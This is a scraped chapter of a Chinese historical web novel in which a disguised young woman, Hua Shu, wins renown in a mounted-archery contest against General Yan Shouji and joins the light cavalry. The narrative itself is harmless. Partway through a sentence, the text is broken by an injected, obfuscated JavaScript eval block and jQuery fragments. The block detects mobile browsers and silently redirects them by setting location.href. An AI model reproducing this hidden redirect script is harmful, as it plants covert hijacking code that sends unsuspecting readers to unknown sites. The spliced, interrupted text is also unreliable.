90. 骑射

作品:《云汉昭昭:烽烟照长安

    军中演武的风俗由来已久,今日又是雁守疆亲自下令,将士们筹备起来自然极快。不过片刻,还乌泱乌泱的兵将全数散开,唯有屯长以上官职的人才能留下来。


    训练场一清空,军司马木跃程亲自安排,立刻便有兵卒在百步外立起数十个木靶,更有三十余人手持移动靶侯在演武场两侧,随时准备入场。


    有条不紊与雷厉风行两种风格,在一个群人的身上体现出来,看得华书目不转睛。


    不过热闹没看几眼,路风耀就走了过来。踢雪乌骓这样的名驹实在难得,随便给华书安排一匹马来和雁守疆比试,怎么也说不上公平,路风耀便带着她亲自去马场选了一匹还无主的黄骠马。


    黄骠马别名‘西凉玉顶干草黄’,头上一撮白毛形如满月,周身黄褐色的毛发在阳光的照射下泛着金光,腹部零星点缀着几个白点,肋骨外突,显得格外精悍。


    这马虽不及踢雪乌骓,但也绝对是一匹难得的良驹,这可真是赚到了!


    “不是……这马不是说好给我留着的吗……”


    “啧,你又没驯服,马还能强占啊。”


    “那他就能驯服了?你看他那三两肉,别被掀下来吧。”


    “快闭嘴吧,将军看过来了……”


    耳边悉悉索索议论声不断,华书也没有理会,直接从荷包里掏出一颗饴糖送到黄骠马嘴边,黄骠马湿漉漉的黝黑鼻子凑上来嗅了两下,长舌一卷把饴糖吞吃入腹,随后大脑袋一歪,就顶进了华书的怀里。


    满场皆静。


    这匹黄骠马是上个月刚从居延送来的,除了几个军侯有自己惯用的坐骑,另外有四五个人盯上了它,奈何要么是军工还不够换,要么是试了两次没能驯服,是以这匹良驹到现在都还无主。


    方才看华书选了它,不少人等着看她的笑话,若说先前踢雪乌骓给面子,还可以解释成因为雁守疆站在旁边,可这性子刚烈的黄骠马怎么也这么轻易就被俘虏了?


    莫不是那饴糖里放了什么迷魂药?总不能是马也以貌取人吧?


    其他人心里想什么华书是顾不上了,黄骠马亲昵的大脑袋被她笑着推远了一些,然后把荷包里的饴糖都倒了出来,顺手丢了一颗甜滋滋在嘴里,剩下的都准备喂给它。


    然而手还没送出去,一颗更大的黢黑的头探了过来,长舌一卷,四五块饴糖瞬间就剩了一颗。


    华书:“……”


    众人:“……”就说肯定是糖里放了什么迷魂药!


    眼看黄骠马打出一个响鼻,愤愤不已地就要把脑袋朝着踢雪乌骓撞过去,华书忙扯住缰绳把仅剩的一颗饴糖送到它嘴边,安抚地摸了摸,然后有些无语地看向一脸无辜的踢雪乌骓和它的主人。


    “雁将军,这就不地道了吧?”怎么还纵马抢食呢?


    雁守疆有些尴尬地拍了踢雪乌骓一巴掌,把这个不争气的东西往扯了扯。


    华书悻悻地给黄骠马说了几句好话,承诺明日给它带一整个荷包的饴糖。


    雁守疆:“饴糖吃多了不好……”


    华书眸光一横,瞪了他和踢雪乌骓一眼:强盗没有资格说这种话!


    气势上小胜一场的华书状态越发好了,她背起一壶白色尾羽的箭,单手持弓,利落地翻身上马,缰绳一勒,黄骠马发出高亢的嘶鸣,同时人立而起。


    她今日一身黑衣,因尚未到加冠的年纪,仅以玉冠束发,整个人随着战马腾跃而起,又灵巧落下,顷刻如一道闪电飞驰而出,沿着训练场奔驰而去。


    “嘶!确实有点东西啊……”


    “风耀,你不是说他那兄长骑个马歪歪扭扭随时要掉下去一样吗?怎么我看他这骑术不一般啊。”


    路风耀瞬间瞪大了眼睛,一巴掌拍到了秦泰的背上:“胡说什么!我何时说过这种话!”说完有些心虚地看向前方的雁守疆,好在雁守疆并没有注意到。


    雁守疆的注意力都在华书和踢雪乌骓身上。


    踢雪乌骓听到黄骠马的嘶鸣声,立时开始焦躁踱步,冲着雁守疆发出唏律律的声音,催促着他上马,雁守疆安抚地摸摸了踢雪乌骓,待华书跑足两圈,与战马足够熟悉,才拎起另一壶黑色尾羽的箭,翻身上马。


    此时华书停在演武场另一端,她高举牛角弓向雁守疆示意,雁守疆停在另一侧失笑一声也高举长弓回应。


    “驾!”


    一声高喝,两人飞驰而出,场中季尉等人瞬间被这气氛感染地热血沸腾,亲自拎起鼓槌击打战鼓助兴。


    “咚咚咚!”随着激昂的鼓声,华书与雁守疆疾驰数米,几乎同时松开缰绳,靠双腿支撑身体,取箭拉弓一气呵成。


    ‘嗖嗖嗖’的破风声不绝于耳,远处木靶接连应声倒地,两人骑马迎面擦肩,只来得及对视一眼便再次远去。


    而此刻,场上再无一面立着的箭靶。


    “好!”


    众人高呼,军司马木跃程见状忙挥旗示意手持移动靶的兵卒们奔驰入场。


    移动靶的难度相比木靶高了不止一倍,众兵卒更是训练有素,于近两百步甚至三百步开外穿插行进毫无规律。


    雁守疆对此训练方式明显熟识许多,先于华书两箭射出,好在华书及时调整,跟着射出几箭,没有空手而归,但终归输了一筹。


    勒停战马,华书失笑摇头叹了口气,到底还是差点意思。


    不过她虽一直自傲于骑射,但也没猖狂到认为自己能赢了雁守疆。且不说雁守疆同样是自幼习练骑射,又比她年长几岁,单论雁守疆于战场历练数年,真刀真枪拼出来的功夫,自己若能胜了他,那才真是老天爷不开眼。


    听着远处兵士汇报黑羽白羽中靶情况,华书下马把箭壶一扔,笑道:“不必报了,我自知较将军甚远。”


    然而她自谦之时,在场众人却无不惊骇。


    不说移动靶,单论最开始百步外的木靶,华书箭无虚发,全部命中靶心,有几箭甚至力透靶背,只是因为和黄骠马的配合不及雁守疆和踢雪乌骓,导致数量上稍有不及,在移动靶距离更远的情况下,她虽仅射出三箭,但也都中了靶,单这命中率就足够惊人。


    此战虽输,但却一战成名!


    雁守疆看着侧身立在马下的华书,不由心绪翻涌不断,他知晓她聪慧,机敏,见识不凡,却没想到她在骑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181606|165301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    射一道上也如此出类拔萃。


    如今他满是见猎心喜:“孟小郎君自谦了,季尉!”


    “在!”


    “即日起,孟疏入轻骑营随训,一应训练等同正卒。”


    “是!”季尉搓着双手嘿嘿笑道,“孟郎君,是我有眼不识泰山,如今我轻骑营又得一猛将,可喜可贺啊,晌午我给孟郎君接风!”


    华书此刻满面春风,好不得意,便也不计较季尉先前瞧不起自己的事,被众人簇拥而去。


    雁守疆公务繁重,又不喜与人玩闹,平时就无人敢招惹他,此刻众人新得了华书这个新战友,全都簇拥而去。


    雁守疆身边立时就只剩下路风耀,雁守疆本也满目带笑,直到与路风耀对视一眼。


    “……”


    “?”


    孟疏不是来受罚吗?怎么成这样了?


    雁守疆收了笑意,摸了摸鼻子,躲开了路风耀的疑问。


    但是躲过了路风耀,却躲不过阿莫。


    不过小半天,孟疏被罚随训,却一战成名,将军亲许入轻骑营的消息就传遍了军营。


    阿莫也不拐弯,直接问到了雁守疆脸上:“将军,那孟氏子被罚入营,就应该分去最苦最累的地方才能让他长长记性。你倒好,给他这么大的面子,不仅亲自接见,给他机会崭露头角,最后还遂了他的心意,入轻骑营?”


    雁守疆被她追问得一阵尴尬:“咳,他入轻骑营,是自己靠本事挣来的。”


    阿莫冷笑一声:“有本事又如何?她一儒门子弟,还真能驰骋沙场?军营何等重地,岂能供他玩闹?回头惹了祸,他拍拍屁股走人,不还得咱们收拾烂摊子?”


    雁守疆皱眉:“你对儒家怎么还这么大成见?况且他不过舞勺之年,能闯什么祸?”


    “哈?郎君你在与我说笑吗?他自恃为临尘公主的家令,身为白丁就敢在军市当街言语戏耍将军与骆奉,现在更是连装鬼、下迷药这种上不了台面的事都做得出,你说他能闯什么祸?”


    “……”


    雁守疆无言以对,的确,以这两件事来看,孟疏当真是个毫无规矩之人,但是:“那日在军市,孟疏行事却有不羁之处,但最终的结果是既护住了咱们的颜面,又避免了咱们与骆奉、李广利正面冲突,我们应当心怀谢意才是。”


    “他那不过歪打正着,又不是真心助我们!”


    雁守疆听了这话脸一板:“看来那日罚风耀还是太轻了,才让你们一点记性都没长!不管他是否真心相帮,最终都是我们得益,所以没有权利,更没有立场贬斥其行。风耀在外胡言,导致流言伤人,已经被我罚了,你若想做他的难兄难弟,我也可以成全。”


    雁守疆眼神坚定,显然是说到做到,阿莫哪里敢再说,只能撇了撇嘴算是应下。


    “再一个,他夜吓李广利,是出于朋友之义,纵然行事不端,也未尝没有可取之处。”


    阿莫不满地低着头小声嘟囔道:“他哪里是什么朋友之义,我看分明是瞧上了那木氏女吧?”


    “你说什么?”


    阿莫忙嬉皮笑脸地摆了摆手:“没没没,没什么。”